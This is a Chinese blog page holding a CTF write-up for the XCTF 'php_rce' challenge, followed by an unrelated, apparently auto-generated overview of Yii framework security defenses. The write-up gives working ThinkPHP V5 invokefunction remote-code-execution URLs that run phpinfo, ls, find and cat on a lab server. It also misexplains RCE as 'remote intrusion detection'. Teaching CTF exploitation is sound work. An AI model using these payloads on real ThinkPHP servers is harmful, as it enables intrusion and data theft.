PHP框架漏洞

利用ThinkPHPV5框架漏洞进行远程代码执行
该博客讲述了如何利用ThinkPHPV5框架的系统命令执行漏洞进行远程代码执行,通过github查找相关漏洞,利用phpinfo和system命令获取服务器信息,并尝试使用ls和find命令查找敏感文件,最终成功定位并读取了目标文件。

来自XCTF的php_rce.(RCE就是远程入侵检测,包括代码注入和命令执行漏洞)

很奇特的一个页面。我们知道ThinkPHP V5是一个PHP框架,于是我们到github上寻找这个框架的漏洞,这是一个很好的思路点,上github上找框架的漏洞。 

 

 那这么多漏洞我们选择哪个呢?我们看到了熟悉的system和phpinfo这两条。system对我们很有用,后面哪个vars[1][]=命令。

例如我们执行:

phpinfo()icon-default.png?t=L9C2http://111.200.241.244:55994/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1会出现

下面这个显示版本信息的页面。 

 

在输入查看本级目录的命令:

http://111.200.241.244:55994/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls%20. 

 http://111.200.241.244:55994/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=find / -name "flag"

尝试输入find / -name "flag"去查找一个flag文件的地方,有时候可能需要我们用正则表达式flag.*去试试,但是有时候正则表达式又不行,所以保险起见,这两种情况都试试。

 这就找到了文件所在地。 

然后就可以用cat命令查看了。 这也有点小问题,找到文件所在地是/flag/flag,但是输入cat /flag/flag却没反应。

相反,当我输入cat /flag的时候却出现了正确结果。 

 

Yii框架作为一款广泛使用的PHP开发框架,提供了许多内置的安全特性来帮助开发者抵御常见的Web安全威胁。然而,与其他软件一样,Yii框架也曾发现过一些安全漏洞,这些漏洞通常在官方发布补丁后得到修复。 ### Yii框架常见安全漏洞及修复方案 #### 1. 跨站请求伪造(CSRF) Yii框架通过提供CSRF防护机制来防止此类攻击。默认情况下,Yii的表单组件会自动包含一个CSRF令牌,并在提交时验证该令牌的有效性[^1]。为确保应用安全,开发者应始终启用并正确配置`yii\web\Request::enableCsrfValidation`选项。 ```php // 在配置文件中启用CSRF保护 'request' => [ 'enableCsrfValidation' => true, ], ``` #### 2. SQL注入 Yii框架的数据库抽象层支持参数化查询,这有助于防止SQL注入攻击。开发者应避免手动拼接SQL语句,而是使用Active Record或Query Builder等安全接口进行数据库操作[^3]。 ```php // 使用Active Record安全地查询数据 $user = User::find()->where(['username' => $username])->one(); ``` #### 3. 跨站脚本攻击(XSS) 为了防范XSS攻击,Yii框架提供了输出编码功能,可以对HTML、URL、JavaScript等内容进行转义处理。开发者应在视图中使用`yii\helpers\Html::encode()`方法对用户输入内容进行编码后再输出到页面上[^1]。 ```php // 输出用户输入内容时进行HTML编码 echo \yii\helpers\Html::encode($userInput); ``` #### 4. 文件上传漏洞 Yii框架允许开发者通过设置白名单的方式限制上传文件的类型和大小,从而降低文件上传带来的安全隐患。建议将上传目录置于非Web根目录下,并禁用该目录中的脚本执行权限[^1]。 ```php // 配置文件上传规则 $uploadPath = Yii::getAlias('@app/upload/'); if ($model->validate()) { $model->file->saveAs($uploadPath . $model->file->baseName . '.' . $model->file->extension); } ``` #### 5. 安全头部配置 虽然这不是Yii框架本身的功能,但开发者可以通过配置服务器(如Nginx或Apache)添加HTTP安全头来增强应用的安全性。例如,设置`Content-Security-Policy`以防止未经授权的脚本执行,或者启用`X-Frame-Options`来防止点击劫持攻击[^3]。 ```nginx # Nginx配置示例:添加HTTP安全头部 add_header X-Content-Type-Options "nosniff"; add_header X-Frame-Options "SAMEORIGIN"; add_header X-XSS-Protection "1; mode=block"; ``` #### 6. 安全更新与版本管理 开发者应定期检查Yii框架的官方公告,及时升级至最新稳定版本以获取最新的安全补丁。对于依赖库,也应保持其更新状态,避免使用已知存在漏洞的旧版本[^2]。 --- ###
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

ad_m1n

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值